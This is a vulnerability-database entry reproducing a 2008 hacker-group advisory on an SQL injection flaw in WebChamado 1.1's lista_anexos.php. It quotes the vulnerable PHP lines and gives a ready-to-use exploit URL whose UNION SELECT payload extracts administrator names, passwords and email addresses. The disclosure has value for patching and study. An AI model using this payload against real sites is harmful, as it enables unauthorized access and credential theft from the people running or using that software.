WebChamado 1.1 (tsk_id) Remote SQL Injection Vulnerability

🗓️ 14 Jun 2008 00:00:00Reported by RootType

WebChamado 1.1 Remote SQL Injection Vulnerability in lista_anexos.php allows unauthorized access to TBLTASK_TSKARQ data


                                                &nbsp;&nbsp;#######################################################################################
&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;...:::::WebChamado&nbsp;1.1&nbsp;&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability&nbsp;::::....&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;#######################################################################################

Virangar&nbsp;Security&nbsp;Team

www.virangar.net
www.virangar.ir

--------
Discoverd&nbsp;By&nbsp;:virangar&nbsp;security&nbsp;team(hadihadi)

special&nbsp;tnx&nbsp;to:MR.nosrati,black.shadowes,MR.hesy,Zahra

&amp;&nbsp;all&nbsp;virangar&nbsp;members&nbsp;&amp;&nbsp;all&nbsp;hackerz

greetz:to&nbsp;my&nbsp;best&nbsp;friend&nbsp;in&nbsp;the&nbsp;world&nbsp;hadi_aryaie2004
&amp;&nbsp;my&nbsp;lovely&nbsp;friend&nbsp;arash(imm02tal)
-------
vuln&nbsp;code&nbsp;in&nbsp;lista_anexos.php:
line&nbsp;12:&nbsp;$tsk_id&nbsp;=&nbsp;$_GET['tsk_id'];
....
line&nbsp;14:&nbsp;$query&nbsp;=&nbsp;&quot;SELECT&nbsp;SEQ,&nbsp;DSC,&nbsp;TIP,&nbsp;TAM&nbsp;FROM&nbsp;TBLTASK_TSKARQ&nbsp;WHERE&nbsp;TSK_ID&nbsp;=&nbsp;$tsk_id&nbsp;ORDER&nbsp;BY&nbsp;DSC&quot;;
---
exploit:
http://site.com/lista_anexos.php?tsk_id=-1/**/union/**/select/**/1,concat(NOM,0x3a,PAS,char(58),EML),3,4/**/from/**/tbltask_res/**/where/**/ADM=1/*
-------
young&nbsp;iranian&nbsp;h4ck3rz

14 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1